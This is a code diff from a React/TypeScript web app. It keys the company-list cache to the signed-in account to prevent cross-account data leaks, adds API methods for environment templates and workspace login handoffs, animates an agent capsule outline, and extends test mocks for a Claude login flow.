+export function companyListQueryOptions(userId: string | null) {
+  return {
+    queryKey: queryKeys.companies.list(userId),
+    queryFn: async (): Promise<CompanyListResult> => {
+      // Request coalescing keys on the path alone, so it would happily answer a
+      // fetch for this account with a `/companies` request issued under the
+      // previous one — putting the wrong account's list in an account-keyed
+      // entry. Coalescing has nothing to offer here anyway: React Query already
+      // dedupes concurrent fetches within a key, and *across* keys the accounts
+      // differ by construction, which is exactly when sharing is wrong.
+      companiesApi.detachInflightList();
+      try {
+        return { companies: await companiesApi.list(), unauthorized: false };
+      } catch (err) {
+        if (err instanceof ApiError && (err.status === 401 || err.status === 403)) {
+          return { companies: [], unauthorized: true };
+        }
+        throw err;
       }
-      throw err;
-    }
-  },
+    },
+    retry: false,
+  } as const;
+}
+
+const sessionQueryOptions = {
+  queryKey: queryKeys.auth.session,
+  queryFn: () => authApi.getSession(),
   retry: false,
 } as const;
+
+/**
+ * The signed-in account, as the cache currently understands it.
+ *
+ * `settled` means the session query *answered*, not merely that it stopped
+ * being pending. The distinction is the whole point of this helper. `null` is a
+ * real answer — `authApi.getSession` returns it for a 401, meaning "signed out"
+ * — but a session request that *failed* answers nothing, and it throws rather
+ * than returning null. Treating that failure as `null` would key an account's
+ * list to `anonymous` while the request still carried their cookie, writing a
+ * credentialed response into the entry every signed-out reader trusts. Which is
+ * the original bug, rebuilt for anonymous.
+ *
+ * So: settled on success only. A failed session lookup leaves the list unfetched
+ * until the query recovers, which it does on the next refetch.
+ */
+export function useAccountIdentity(): { userId: string | null; settled: boolean } {
+  const { data: session, isSuccess } = useQuery(sessionQueryOptions);
+  return { userId: session?.user.id ?? null, settled: isSuccess };
+}
+
+/**
+ * Observe the company list for the account signed in now.
+ *
+ * Pass `enabled: false` to hold for a caller's own reasons; the session gate is
+ * applied on top of it either way.
+ */
+export function useCompanyListQuery(
+  options: { enabled?: boolean; staleTime?: number; retry?: number | boolean } = {},
+) {
+  const { userId, settled } = useAccountIdentity();
+  const query = useQuery<CompanyListResult>({
+    ...companyListQueryOptions(userId),
+    ...options,
+    enabled: settled && (options.enabled ?? true),
+  });
+
+  // While the account is unknown this query is disabled, and a disabled query
+  // reports `isLoading: false` with `data: undefined` — which consumers default
+  // to an empty list and read as "asked, and owns nothing". That is the
+  // destructive reading: `shouldClearStoredCompanySelection` would throw away
+  // the customer's stored company on every cold boot, before the session had
+  // even landed.
+  //
+  // Waiting for the account is part of getting the list, so it is reported as
+  // part of getting the list. Consumers gate on these two, and both must mean
+  // "no answer yet" for the whole window in which there is no answer.
+  const waitingForAccount = !settled && (options.enabled ?? true);
+  return {
+    ...query,
+    isLoading: query.isLoading || waitingForAccount,
+    isFetching: query.isFetching || waitingForAccount,
+  };
+}
+
+/**
+ * Resolve the account identity for an imperative path, fetching the session if
+ * the cache has no answer yet.
+ *
+ * Not `getQueryData` with a `?? null` fallback: an empty or errored session
+ * entry would read as "signed out" and key an authenticated response to
+ * `anonymous`. There is no safe default here — the identity is either known or
+ * must be obtained, and if it cannot be obtained the caller must fail rather
+ * than guess.
+ */
+export async function resolveAccountUserId(queryClient: QueryClient): Promise<string | null> {
+  const state = queryClient.getQueryState<Awaited<ReturnType<typeof authApi.getSession>>>(
+    queryKeys.auth.session,
+  );
+  // `isInvalidated` matters as much as `status` here. Invalidation is how the
+  // app says "this is the previous account's answer" — InviteLanding invalidates
+  // the session immediately after a sign-in and resolves an identity in the next
+  // breath. The entry is still `success`, still holding the *old* user, until a
+  // refetch lands; trusting it would key the new account's list to the old
+  // account's id, which is the misattribution this whole file exists to prevent.
+  if (state?.status === "success" && !state.isInvalidated) {
+    return state.data?.user.id ?? null;
+  }
+  const session = await queryClient.fetchQuery({ ...sessionQueryOptions, staleTime: 0 });
+  return session?.user.id ?? null;
+}
+
+/** Fetch the company list for the account signed in now, ignoring what is cached. */
+export async function fetchCompanyListForCurrentAccount(
+  queryClient: QueryClient,
+): Promise<CompanyListResult> {
+  const userId = await resolveAccountUserId(queryClient);
+  return queryClient.fetchQuery({
+    ...companyListQueryOptions(userId),
+    staleTime: 0,
+  });
+}
diff --git a/ui/src/api/companies.ts b/ui/src/api/companies.ts
index 72296538a70..1b3787f427f 100644
--- a/ui/src/api/companies.ts
+++ b/ui/src/api/companies.ts
@@ -21,7 +21,9 @@ import {
   type CompanyImportTransferPartUploadResult,
   type CompanyImportTransferStatus,
 } from "@paperclipai/shared/company-import-transfer";
-import { api } from "./client";
+import { api, detachInflightGet, type RequestOptions } from "./client";
+
+const COMPANIES_LIST_PATH = "/companies";
 
 export type CompanyStats = Record<string, { agentCount: number; issueCount: number }>;
 
@@ -75,7 +77,13 @@ export interface CompanyImportJobStatus {
 }
 
 export const companiesApi = {
-  list: () => api.get<Company[]>("/companies"),
+  list: () => api.get<Company[]>(COMPANIES_LIST_PATH),
+  /**
+   * Call before re-reading the list for a different account: an in-flight
+   * `/companies` GET issued under the previous session would otherwise be
+   * coalesced into, and answer with that account's companies.
+   */
+  detachInflightList: () => detachInflightGet(COMPANIES_LIST_PATH),
   get: (companyId: string) => api.get<Company>(`/companies/${companyId}`),
   stats: () => api.get<CompanyStats>("/companies/stats"),
   create: (data: {
@@ -114,8 +122,9 @@ export const companiesApi = {
   exportPreview: (
     companyId: string,
     data: CompanyPortabilityExportRequest,
+    options?: RequestOptions,
   ) =>
-    api.post<CompanyPortabilityExportPreviewResult>(`/companies/${companyId}/exports/preview`, data),
+    api.post<CompanyPortabilityExportPreviewResult>(`/companies/${companyId}/exports/preview`, data, options),
   exportFidelity: (companyId: string) =>
     api.get<ExportFidelityReport>(`/companies/${companyId}/export/fidelity`),
   importPreview: (data: CompanyPortabilityPreviewRequest) =>
diff --git a/ui/src/api/environments.ts b/ui/src/api/environments.ts
index 5b1bc6e05f2..b823ccd2995 100644
--- a/ui/src/api/environments.ts
+++ b/ui/src/api/environments.ts
@@ -20,10 +20,22 @@ export interface EnvironmentCustomImageOverview {
    * back to the base image until a new image is captured. `null` when unknown.
    */
   activeTemplateMatchesConfig?: boolean | null;
+  /**
+   * Boot-relevant drift attribution for the active template. It names the
+   * classification and the drifted paths with their `from`/`to` values, so the
+   * banner can name the changed field. `null` or absent when there is no active
+   * template or the driver is not `sandbox`.
+   */
+  activeTemplateDrift?: EnvironmentCustomImageActiveTemplateDrift | null;
   activeSession: EnvironmentCustomImageSetupSession | null;
   latestSession: EnvironmentCustomImageSetupSession | null;
 }
 
+export interface EnvironmentCustomImageActiveTemplateDrift {
+  classification: EnvironmentCustomImageRelinkClassification;
+  driftedPaths: EnvironmentCustomImageDriftedPath[];
+}
+
 export type EnvironmentCustomImageReconciliation =
   | { action: "relinked"; template: EnvironmentCustomImageTemplate }
   | { action: "detached"; template: EnvironmentCustomImageTemplate };
@@ -54,6 +66,32 @@ export interface EnvironmentCustomImageRollbackResult {
   supersededTemplate: EnvironmentCustomImageTemplate;
 }
 
+export type EnvironmentCustomImageRelinkClassification =
+  | "knob_only"
+  | "boot_source_drift"
+  | "unclassified";
+
+export interface EnvironmentCustomImageRelinkResult {
+  template: EnvironmentCustomImageTemplate;
+  classification: EnvironmentCustomImageRelinkClassification;
+}
+
+export interface EnvironmentCustomImageDriftedPath {
+  path: string;
+  from?: unknown;
+  to?: unknown;
+}
+
+/**
+ * The 409 conflict body a relink returns when the server cannot re-stamp without
+ * an operator confirmation. `driftedPaths` carries `from`/`to` only for paths
+ * that passed the secret containment check; excluded paths carry the name only.
+ */
+export interface EnvironmentCustomImageRelinkConflict {
+  classification: Exclude<EnvironmentCustomImageRelinkClassification, "knob_only">;
+  driftedPaths: EnvironmentCustomImageDriftedPath[];
+}
+
 function companyIdQuery(companyId: string): string {
   return `companyId=${encodeURIComponent(companyId)}`;
 }
@@ -162,6 +200,15 @@ export const environmentsApi = {
       `/environments/${environmentId}/custom-image-template/rollback?${companyIdQuery(companyId)}`,
       {},
     ),
+  relinkCustomImageTemplate: (
+    environmentId: string,
+    companyId: string,
+    options: { confirmBootSourceDrift?: boolean } = {},
+  ) =>
+    api.post<EnvironmentCustomImageRelinkResult>(
+      `/environments/${environmentId}/custom-image-template/relink?${companyIdQuery(companyId)}`,
+      { confirmBootSourceDrift: options.confirmBootSourceDrift === true },
+    ),
   disableCustomImageTemplate: (
     environmentId: string,
     companyId: string,
diff --git a/ui/src/api/execution-workspaces.ts b/ui/src/api/execution-workspaces.ts
index e6c075a86d1..05ee341c629 100644
--- a/ui/src/api/execution-workspaces.ts
+++ b/ui/src/api/execution-workspaces.ts
@@ -4,6 +4,7 @@ import type {
   ExecutionWorkspaceStatus,
   ExecutionWorkspaceCloseReadiness,
   WorkspaceOverviewResponse,
+  WorkspaceLoginHandoffTicketResponse,
   WorkspaceOperation,
   WorkspaceRuntimeControlTarget,
 } from "@paperclipai/shared";
@@ -114,6 +115,23 @@ export const executionWorkspacesApi = {
       `/execution-workspaces/${id}/runtime-commands/${action}`,
       sanitizeWorkspaceRuntimeControlTarget(target),
     ),
+  repair: (id: string) =>
+    api.post<{ workspace: ExecutionWorkspace; operation: WorkspaceOperation }>(
+      `/execution-workspaces/${id}/runtime-commands/repair`,
+      {},
+    ),
+  /**
+   * Mint a single-use workspace login handoff (PAP-17572).
+   *
+   * The returned URL carries a short-lived ticket, so the caller must navigate to
+   * it rather than store or share it. The server answers the navigation with an
+   * HTTP redirect, which is what keeps the ticket out of browser history.
+   */
+  requestLoginHandoff: (id: string, next?: string) =>
+    api.post<WorkspaceLoginHandoffTicketResponse>(
+      `/execution-workspaces/${id}/login-handoff`,
+      next ? { next } : {},
+    ),
   update: (id: string, data: Record<string, unknown>) => api.patch<ExecutionWorkspace>(`/execution-workspaces/${id}`, data),
   /**
    * Reconcile a git-worktree branch divergence via the S4 (`PAP-1586`) op.
diff --git a/ui/src/api/file-resources.ts b/ui/src/api/file-resources.ts
index ba5fabc2994..adf4da83c82 100644
--- a/ui/src/api/file-resources.ts
+++ b/ui/src/api/file-resources.ts
@@ -6,7 +6,7 @@ import type {
   WorkspaceFileListResponse,
   WorkspaceFileSelector,
 } from "@paperclipai/shared";
-import { api } from "./client";
+import { api, type RequestOptions } from "./client";
 
 export interface FileResourceQuery {
   path: string;
@@ -50,11 +50,16 @@ export function buildFileResourceDownloadUrl(issueId: string, query: FileResourc
 }
 
 export const fileResourcesApi = {
-  list(issueId: string, query: FileResourceListQuery = {}): Promise<WorkspaceFileListResponse> {
+  list(
+    issueId: string,
+    query: FileResourceListQuery = {},
+    options?: RequestOptions,
+  ): Promise<WorkspaceFileListResponse> {
     const search = buildQuery(query);
     const suffix = search ? `?${search}` : "";
     return api.get<WorkspaceFileListResponse>(
       `/issues/${encodeURIComponent(issueId)}/file-resources/list${suffix}`,
+      options,
     );
   },
 
diff --git a/ui/src/api/health.ts b/ui/src/api/health.ts
index 833b3ca8379..b3ecdbcbc50 100644
--- a/ui/src/api/health.ts
+++ b/ui/src/api/health.ts
@@ -36,6 +36,11 @@ export type HealthStatus = {
   serverInfo?: ServerInfoSnapshot;
   devServer?: DevServerHealthStatus;
   cloud?: CloudInstanceHealthStatus;
+  /**
+   * Settings surfaces hidden by the hosting operator (keys from the shared
+   * settings-visibility registry). Absent when nothing is hidden.
+   */
+  hiddenSettings?: string[];
 };
 
 export const healthApi = {
diff --git a/ui/src/api/issues.ts b/ui/src/api/issues.ts
index 5eae6f0685e..4f00784fd70 100644
--- a/ui/src/api/issues.ts
+++ b/ui/src/api/issues.ts
@@ -342,6 +342,8 @@ export const issuesApi = {
   unlinkApproval: (id: string, approvalId: string) =>
     api.delete<{ ok: true }>(`/issues/${id}/approvals/${approvalId}`),
   listWorkProducts: (id: string) => api.get<IssueWorkProduct[]>(`/issues/${id}/work-products`),
+  ensureWorkProductReviewDocument: (id: string, workProductId: string) =>
+    api.post<IssueDocument>(`/issues/${id}/work-products/${workProductId}/review-document`, {}),
   createWorkProduct: (id: string, data: Record<string, unknown>) =>
     api.post<IssueWorkProduct>(`/issues/${id}/work-products`, data),
   updateWorkProduct: (id: string, data: Record<string, unknown>) =>
diff --git a/ui/src/bootstrapSetup.ts b/ui/src/bootstrapSetup.ts
index 83ebeba84f9..43b55f32ab2 100644
--- a/ui/src/bootstrapSetup.ts
+++ b/ui/src/bootstrapSetup.ts
@@ -1 +1 @@
-export const BOOTSTRAP_FALLBACK_COMMAND = "pnpm paperclipai auth bootstrap-ceo";
+export const BOOTSTRAP_FALLBACK_COMMAND = "npx paperclipai auth bootstrap-ceo";
diff --git a/ui/src/components/AgentBubbleActionRow.tsx b/ui/src/components/AgentBubbleActionRow.tsx
index f761d942aee..6ca8df5d58d 100644
--- a/ui/src/components/AgentBubbleActionRow.tsx
+++ b/ui/src/components/AgentBubbleActionRow.tsx
@@ -341,7 +341,7 @@ export function IssueChatFeedbackButtons({
               <span className="font-medium text-foreground">Don't allow</span> to keep this vote
               and future votes local.
             </p>
-            <p>You can change this later in Instance Settings &gt; General.</p>
+            <p>You can change this later in Settings &gt; General.</p>
             {termsUrl ? (
               <a
                 href={termsUrl}
diff --git a/ui/src/components/AgentCapsule.test.tsx b/ui/src/components/AgentCapsule.test.tsx
index 87eff2c090c..87285eb0323 100644
--- a/ui/src/components/AgentCapsule.test.tsx
+++ b/ui/src/components/AgentCapsule.test.tsx
@@ -90,4 +90,28 @@ describe("AgentCapsule", () => {
     expect(render(<AgentCapsule state="online" gradient={0} />).dataset.gradient).toBe("10");
     expect(render(<AgentCapsule state="online" gradient={-1} />).dataset.gradient).toBe("9");
   });
+
+  it("traces the outline instead of cross-fading it when strokeDraw is set", () => {
+    // The cross-fade renders a bordered <span>; the trace renders an SVG rect
+    // animated from pathLength 0 to 1.
+    const cap = render(<AgentCapsule state="configured" strokeDraw />);
+    expect(cap.querySelector("svg rect")).not.toBeNull();
+    expect(cap.querySelector(".agent-cap-stroke")).toBeNull();
+  });
+
+  it("keeps the cross-fade when strokeDraw is not asked for", () => {
+    // Everywhere outside the onboarding arc the quieter default applies.
+    const cap = render(<AgentCapsule state="configured" />);
+    expect(cap.querySelector(".agent-cap-stroke")).not.toBeNull();
+    expect(cap.querySelector("svg rect")).toBeNull();
+  });
+
+  it("holds the dashed outline until the trace finishes", () => {
+    // Fading the dashed layer on the usual schedule would leave the capsule
+    // briefly outline-less in the middle of its own birth.
+    const cap = render(<AgentCapsule state="configured" strokeDraw />);
+    const dashed = cap.querySelector(".agent-cap-dash") as HTMLElement;
+    expect(dashed).not.toBeNull();
+    expect(dashed.style.transitionDelay).not.toBe("");
+  });
 });
diff --git a/ui/src/components/AgentCapsule.tsx b/ui/src/components/AgentCapsule.tsx
index 817a9dbb76a..b696a3a9b60 100644
--- a/ui/src/components/AgentCapsule.tsx
+++ b/ui/src/components/AgentCapsule.tsx
@@ -1,3 +1,4 @@
+import { motion, useReducedMotion } from "motion/react";
 import * as React from "react";
 
 import { cn } from "@/lib/utils";
@@ -60,10 +61,24 @@ export interface AgentCapsuleProps
   size?: AgentCapsuleSizePreset | { width: number; height: number };
   /** Online-pulse colour (only applies in the `online` state). Defaults to `green`. */
   glow?: AgentCapsuleGlow;
+  /**
+   * Render the slot→configured morph as a draw-on: the solid outline is traced
+   * around the perimeter over the still-visible dashed outline, which fades
+   * once the draw completes, instead of the two layers cross-fading.
+   *
+   * This is the agent's "birth" moment in the onboarding wizard, where the
+   * customer has just named it and the capsule should read as being drawn into
+   * existence. Everywhere else the cross-fade is the right, quieter default.
+   */
+  strokeDraw?: boolean;
   /** Accessible label; defaults to a description of the state. */
   "aria-label"?: string;
 }
 
+/** Duration of the strokeDraw perimeter trace; the dashed layer fades after it. */
+const STROKE_DRAW_SECONDS = 0.9;
+const STROKE_DRAW_EASE = [0.16, 1, 0.3, 1] as const;
+
 /** Normalize a (possibly out-of-range) gradient index to 1…AGENT_GRADIENT_COUNT. */
 function normalizeGradient(gradient: number): number {
   const n = Math.trunc(gradient);
@@ -75,12 +90,15 @@ export function AgentCapsule({
   gradient = 1,
   size = "md",
   glow = "green",
+  strokeDraw = false,
   className,
   style,
   "aria-label": ariaLabel,
   ...rest
 }: AgentCapsuleProps) {
   const dims = typeof size === "string" ? SIZE_PRESETS[size] : size;
+  const reducedMotion = useReducedMotion();
+  const drawn = state === "configured" || state === "online";
   const idx = normalizeGradient(gradient);
   const fill = `linear-gradient(to bottom, var(--agent-${idx}a), var(--agent-${idx}b))`;
 
@@ -107,16 +125,53 @@ export function AgentCapsule({
           "agent-cap-dash agent-cap-layer pointer-events-none absolute inset-0 rounded-full border-2 border-dashed border-muted-foreground/60",
           state === "slot" ? "agent-cap-slot opacity-100" : "opacity-0",
         )}
+        // In strokeDraw mode the dashed outline stays put while the solid one
+        // is traced over it, and only then fades — otherwise the capsule would
+        // be briefly outline-less midway through its own birth.
+        style={
+          strokeDraw && state === "configured" && !reducedMotion
+            ? { transitionDelay: `${STROKE_DRAW_SECONDS}s` }
+            : undefined
+        }
       />
-      {/* Solid stroke — agent configured, not yet live. Cross-fades in on top
-          of the dashed layer, then out as the liquid rises. */}
-      <span
-        aria-hidden="true"
-        className={cn(
-          "agent-cap-stroke agent-cap-layer pointer-events-none absolute inset-0 rounded-full border-2 border-solid border-foreground/70",
-          state === "configured" ? "opacity-100" : "opacity-0",
-        )}
-      />
+      {/* Solid stroke — agent configured, not yet live. Default: cross-fades in
+          on top of the dashed layer, then out as the liquid rises. strokeDraw:
+          an SVG outline traced around the perimeter (pathLength 0→1). */}
+      {strokeDraw ? (
+        <svg
+          aria-hidden="true"
+          className="pointer-events-none absolute inset-0"
+          width="100%"
+          height="100%"
+          viewBox={`0 0 ${dims.width} ${dims.height}`}
+          fill="none"
+        >
+          <motion.rect
+            x={1}
+            y={1}
+            width={dims.width - 2}
+            height={dims.height - 2}
+            rx={(dims.width - 2) / 2}
+            strokeWidth={2}
+            className="stroke-foreground/70"
+            initial={false}
+            animate={{ pathLength: drawn ? 1 : 0 }}
+            transition={
+              reducedMotion
+                ? { duration: 0 }
+                : { duration: STROKE_DRAW_SECONDS, ease: STROKE_DRAW_EASE }
+            }
+          />
+        </svg>
+      ) : (
+        <span
+          aria-hidden="true"
+          className={cn(
+            "agent-cap-stroke agent-cap-layer pointer-events-none absolute inset-0 rounded-full border-2 border-solid border-foreground/70",
+            state === "configured" ? "opacity-100" : "opacity-0",
+          )}
+        />
+      )}
       {/* Brand-gradient liquid — rises to fill the capsule when online. */}
       {state === "online" ? (
         <span
diff --git a/ui/src/components/AgentConfigForm.render.test.tsx b/ui/src/components/AgentConfigForm.render.test.tsx
index ba559b0a021..d9664a98ebb 100644
--- a/ui/src/components/AgentConfigForm.render.test.tsx
+++ b/ui/src/components/AgentConfigForm.render.test.tsx
@@ -5,11 +5,14 @@ import { createRoot, type Root } from "react-dom/client";
 import { flushSync } from "react-dom";
 import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
-import type { Agent, Environment } from "@paperclipai/shared";
+import type { Agent, Environment, UserSecretDefinition } from "@paperclipai/shared";
+import { getEnvironmentCapabilities } from "@paperclipai/shared";
 import { TooltipProvider } from "@/components/ui/tooltip";
 import { ToastProvider } from "../context/ToastContext";
 import { AgentConfigForm, AdapterLoginPanel, type AdapterLoginDescriptor } from "./AgentConfigForm";
 import { defaultCreateValues } from "./agent-config-defaults";
+import { buildNewAgentHirePayload } from "../lib/new-agent-hire-payload";
+import { ApiError } from "../api/client";
 
 const mockAgentsApi = vi.hoisted(() => ({
   adapterModelProfiles: vi.fn(),
@@ -20,6 +23,13 @@ const mockAgentsApi = vi.hoisted(() => ({
   startAdapterAuthLogin: vi.fn(),
   getAdapterAuthLoginStatus: vi.fn(),
   cancelAdapterAuthLogin: vi.fn(),
+  startClaudeSetupTokenLogin: vi.fn(),
+  getClaudeSetupTokenLoginStatus: vi.fn(),
+  getClaudeSetupTokenLoginPrompt: vi.fn(),
+  submitClaudeSetupTokenBrowserCode: vi.fn(),
+  completeClaudeSetupTokenLogin: vi.fn(),
+  cancelClaudeSetupTokenLogin: vi.fn(),
+  getClaudeOAuthTokenStatus: vi.fn(),
 }));
 
 const mockClipboard = vi.hoisted(() => ({
@@ -28,6 +38,7 @@ const mockClipboard = vi.hoisted(() => ({
 
 const mockEnvironmentsApi = vi.hoisted(() => ({
   list: vi.fn(),
+  capabilities: vi.fn(),
 }));
 
 const mockInstanceSettingsApi = vi.hoisted(() => ({
@@ -39,6 +50,7 @@ const mockInstanceSettingsApi = vi.hoisted(() => ({
 const mockSecretsApi = vi.hoisted(() => ({
   list: vi.fn(),
   listProposals: vi.fn(),
+  listUserSecretDefinitions: vi.fn(async () => [] as unknown[]),
 }));
 
 vi.mock("../api/agents", () => ({
@@ -90,9 +102,27 @@ vi.mock("../adapters", () => ({
   }),
 }));
 
+// The projected login capability per adapter type. The server projects these
+// safe scalar fields. `codex_local` drives the displayed-code panel; `claude_local`
+// drives the submitted-browser-code panel. A test overrides this map to add a
+// third adapter with a projected login capability.
+const mockLoginProjections = vi.hoisted(
+  () =>
+    new Map<string, { panelMode: string; sandboxTransport: string; timeoutPolicy: string }>([
+      ["codex_local", { panelMode: "displayed_code", sandboxTransport: "streamed_exec", timeoutPolicy: "caller_bounded" }],
+      ["claude_local", { panelMode: "submitted_browser_code", sandboxTransport: "pseudo_terminal", timeoutPolicy: "fixed" }],
+      // A third adapter, not a built-in, with a projected displayed-code login.
+      ["vendor_local", { panelMode: "displayed_code", sandboxTransport: "streamed_exec", timeoutPolicy: "caller_bounded" }],
+      // A non-built-in adapter with a pseudo-terminal login transport. The gate
+      // requires the provider pty capability from the transport, not the name.
+      ["pty_vendor_local", { panelMode: "submitted_browser_code", sandboxTransport: "pseudo_terminal", timeoutPolicy: "fixed" }],
+    ]),
+);
+
 vi.mock("../adapters/use-adapter-capabilities", () => ({
-  useAdapterCapabilities: () => (adapterType: string) =>
-    adapterType === "hermes_gateway"
+  useAdapterCapabilities: () => (adapterType: string) => {
+    const login = mockLoginProjections.get(adapterType);
+    return adapterType === "hermes_gateway"
       ? {
           supportsInstructionsBundle: false,
           supportsSkills: false,
@@ -108,7 +138,9 @@ vi.mock("../adapters/use-adapter-capabilities", () => ({
           requiresMaterializedRuntimeSkills: false,
           supportsModelProfiles: true,
           supportsAcp: true,
-        },
+          ...(login ? { login } : {}),
+        };
+  },
 }));
 
 vi.mock("../adapters/use-disabled-adapters", () => ({
@@ -306,6 +338,60 @@ const AUTH_MISSING_RESULT = {
   testedAt: new Date(0).toISOString(),
 };
 
+const VENDOR_AUTH_MISSING_RESULT = {
+  adapterType: "vendor_local",
+  status: "fail",
+  checks: [
+    {
+      code: "adapter_auth_missing",
+      level: "error",
+      message: "The sandbox has no ready authentication.",
+    },
+  ],
+  testedAt: new Date(0).toISOString(),
+};
+
+const PTY_VENDOR_AUTH_MISSING_RESULT = {
+  adapterType: "pty_vendor_local",
+  status: "fail",
+  checks: [
+    {
+      code: "adapter_auth_missing",
+      level: "error",
+      message: "The sandbox has no ready authentication.",
+    },
+  ],
+  testedAt: new Date(0).toISOString(),
+};
+
+const CLAUDE_AUTH_MISSING_RESULT = {
+  adapterType: "claude_local",
+  status: "warn",
+  checks: [
+    {
+      code: "claude_hello_probe_auth_required",
+      level: "warn",
+      message: "Claude CLI is installed, but login is required.",
+    },
+    {
+      code: "adapter_auth_missing",
+      level: "warn",
+      message: "The sandbox has no ready authentication for this adapter.",
+    },
+  ],
+  testedAt: new Date(0).toISOString(),
+};
+
+// The provider capabilities the form fetches. Daytona advertises the
+// setup-token login capability; E2B does not. The Claude login panel shows only
+// for a provider with the capability.
+const SANDBOX_CAPABILITIES = getEnvironmentCapabilities(["claude_local", "codex_local"], {
+  sandboxProviders: {
+    daytona: { supportsLoginPty: true, displayName: "Daytona" },
+    e2b: { supportsLoginPty: false, displayName: "E2B" },
+  },
+});
+
 function findButton(container: HTMLElement, label: string) {
   return Array.from(container.querySelectorAll("button")).find(
     (button) => button.textContent?.trim() === label,
@@ -332,6 +418,125 @@ async function renderCodexSandbox(agentOverrides: Partial<Agent> = {}) {
   );
 }
 
+// A third adapter, not a built-in, in a sandbox environment. Its projected login
+// capability drives the login affordance and the displayed-code panel.
+async function renderVendorSandbox(agentOverrides: Partial<Agent> = {}) {
+  return renderForm(
+    [
+      makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+      makeEnvironment({
+        id: "sandbox-1",
+        name: "E2B",
+        driver: "sandbox",
+        config: { provider: "e2b" },
+      }),
+    ],
+    { adapterType: "vendor_local", defaultEnvironmentId: "sandbox-1", ...agentOverrides },
+    { showAdapterTestEnvironmentButton: true },
+  );
+}
+
+async function renderClaudeSandbox(agentOverrides: Partial<Agent> = {}) {
+  return renderForm(
+    [
+      makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+      makeEnvironment({
+        id: "sandbox-1",
+        name: "Daytona",
+        driver: "sandbox",
+        config: { provider: "daytona" },
+      }),
+    ],
+    { adapterType: "claude_local", defaultEnvironmentId: "sandbox-1", ...agentOverrides },
+    { showAdapterTestEnvironmentButton: true },
+  );
+}
+
+async function renderCreateClaudeSandbox(
+  valueOverrides: Partial<typeof defaultCreateValues> = {},
+) {
+  return renderCreateForm(
+    [
+      makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+      makeEnvironment({
+        id: "sandbox-1",
+        name: "Daytona",
+        driver: "sandbox",
+        config: { provider: "daytona" },
+      }),
+    ],
+    { adapterType: "claude_local", defaultEnvironmentId: "sandbox-1", ...valueOverrides },
+    { showAdapterTestEnvironmentButton: true },
+  );
+}
+
+// A create-mode harness that holds the form values in React state. A value
+// patch from the form (a login claim, an environment change) updates the props,
+// so the form re-runs its effects against the new state. The fixed-values
+// `renderCreateForm` harness cannot show the environment-change reset, because
+// its `values` prop never changes. `valuesRef` exposes the current merged
+// values to the test.
+async function renderStatefulCreateClaudeSandbox(environments: Environment[]) {
+  mockEnvironmentsApi.list.mockResolvedValue(environments);
+
+  const container = document.createElement("div");
+  document.body.appendChild(container);
+  const root = createRoot(container);
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+
+  const valuesRef: { current: typeof defaultCreateValues } = {
+    current: {
+      ...defaultCreateValues,
+      adapterType: "claude_local",
+      defaultEnvironmentId: "sandbox-1",
+    },
+  };
+
+  function Harness() {
+    const [values, setValues] = useState(valuesRef.current);
+    valuesRef.current = values;
+    return (
+      <AgentConfigForm
+        mode="create"
+        values={values}
+        onChange={(patch) => setValues((prev) => ({ ...prev, ...patch }))}
+        hidePromptTemplate
+        showAdapterTypeField={false}
+        showAdapterTestEnvironmentButton
+      />
+    );
+  }
+
+  await act(async () => {
+    root.render(
+      <QueryClientProvider client={queryClient}>
+        <ToastProvider>
+          <TooltipProvider>
+            <Harness />
+          </TooltipProvider>
+        </ToastProvider>
+      </QueryClientProvider>,
+    );
+  });
+
+  await flushReact();
+  return { container, root, valuesRef };
+}
+
+async function selectEnvironment(container: HTMLElement, environmentId: string) {
+  const select = container.querySelector("select");
+  await act(async () => {
+    if (select) {
+      const setter = Object.getOwnPropertyDescriptor(HTMLSelectElement.prototype, "value")?.set;
+      setter?.call(select, environmentId);
+      select.dispatchEvent(new Event("change", { bubbles: true }));
+    }
+  });
+  await flushReact();
+}
+
 async function clickByText(container: HTMLElement, label: string) {
   const button = findButton(container, label);
   await act(async () => {
@@ -356,6 +561,19 @@ async function startLogin(container: HTMLElement) {
   await flushReact();
 }
 
+// Flush React effects and pending promises until a condition holds. The Claude
+// login chains a start, a status poll, and a completion read, so a single flush
+// does not settle every state transition.
+async function flushUntil(check: () => boolean, timeoutMs = 4000) {
+  const start = Date.now();
+  while (!check()) {
+    if (Date.now() - start > timeoutMs) break;
+    await flushReact();
+    await new Promise((resolve) => setTimeout(resolve, 20));
+  }
+  await flushReact();
+}
+
 describe("AgentConfigForm environment selector", () => {
   let roots: Root[] = [];
 
@@ -373,6 +591,7 @@ describe("AgentConfigForm environment selector", () => {
     mockInstanceSettingsApi.get.mockResolvedValue({ defaultEnvironmentId: null });
     mockInstanceSettingsApi.getExperimental.mockResolvedValue({ enableEnvironments: true });
     mockInstanceSettingsApi.getGeneral.mockResolvedValue({ executionMode: "any" });
+    mockEnvironmentsApi.capabilities.mockResolvedValue(SANDBOX_CAPABILITIES);
     mockSecretsApi.list.mockResolvedValue([]);
     mockSecretsApi.listProposals.mockResolvedValue([]);
     mockAgentsApi.startAdapterAuthLogin.mockResolvedValue({
@@ -399,6 +618,39 @@ describe("AgentConfigForm environment selector", () => {
       prompt: null,
     });
     mockClipboard.copyTextToClipboard.mockResolvedValue(undefined);
+    mockAgentsApi.startClaudeSetupTokenLogin.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "starting",
+      expiresAt: null,
+      failure: null,
+      panelMode: "submitted_browser_code",
+      prompt: null,
+    });
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "waiting_for_user",
+      expiresAt: null,
+      failure: null,
+    });
+    mockAgentsApi.getClaudeSetupTokenLoginPrompt.mockResolvedValue({
+      authorizationUrl: "https://claude.example.test/authorize",
+    });
+    mockAgentsApi.submitClaudeSetupTokenBrowserCode.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "authenticated",
+      expiresAt: null,
+      failure: null,
+    });
+    mockAgentsApi.completeClaudeSetupTokenLogin.mockResolvedValue({
+      storedSessionId: "stored-session-1",
+    });
+    mockAgentsApi.cancelClaudeSetupTokenLogin.mockResolvedValue(undefined);
+    // Default: the owner has no stored Claude login. A test that needs a stored
+    // value overrides this with a status body.
